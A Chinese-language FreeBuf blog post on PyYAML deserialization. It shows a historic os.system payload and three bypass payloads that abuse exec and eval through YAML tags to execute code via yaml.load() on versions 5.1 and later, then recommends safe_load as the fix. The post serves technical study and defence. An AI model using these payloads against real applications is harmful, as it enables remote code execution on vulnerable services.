freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PyYAML反序列化防御和ByPass
2020-11-30 16:55:02

PyYAML介绍

PyYAML是Python出众的模块之一。PyYAML就是python的一个yaml库yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存)。若对于Python反序列化有所了解一定会听说过它。

PS:本文仅用于技术讨论,严禁用于任何非法用途,违者后果自负。

PyYAML历史漏洞和修复

它的反序列化漏洞使得大多数Python安全研究人员对齐记忆犹新。

当咱们使用反序列化时候会使用如下的载荷:

!!python/object/new:os.system ["whoami"]

并且使用load()进行加载时PyYAML将会执行os.system("whoami")。这样会导致命令执行,从而输出用户名。

该漏洞在5.1+版本之中得到修复,如果依然使用历史漏洞载荷,将会得到错误提示的告警。

while constructing a Python instance
expected a class, but found <class 'builtin_function_or_method'>
  in "<unicode string>", line 1, column 1:
    !!python/object/new:os.system [" ... 
    ^

这样因为只能反序列化部分基本类型,极大程度上缓解了反序列化漏洞带来的影响。

PyYAML ByPass

当咱们回看部分基本类型时,将会注意到Python内置方法exec、eval。在手册之中有这样一段描述。

exec 执行储存在字符串或文件中的Python语句,相比于 eval,exec可以执行更复杂的 Python 代码。

如此能够得到ByPass载荷。

PayLoad1:

import yaml

payload = """
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "print('漏洞存在')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
"""
yaml.load(payload)

回显:
->漏洞存在

PayLoad2:

import yaml

payload = """
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "print('漏洞存在')"
"""
yaml.load(payload)

回显:
->漏洞存在

PayLoad3:

import yaml

payload = """
!!python/object/new:tuple 
- !!python/object/new:map 
  - !!python/name:eval
  - [ print('漏洞存在') ]
"""
yaml.load(payload)

回显:
->漏洞存在

这三种载荷均是利用基本类型之中代码执行函数,从而绕过5.1+的防御措施。

修复方法

1、按照官方推荐使用safe_load对于序列化内容进行加载。

2、检测加载文件头防止加载代码执行函数。

# python安全 # 反序列化远程命令执行 # PyYAML # Python反序列化 # PyYAMLByPass
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者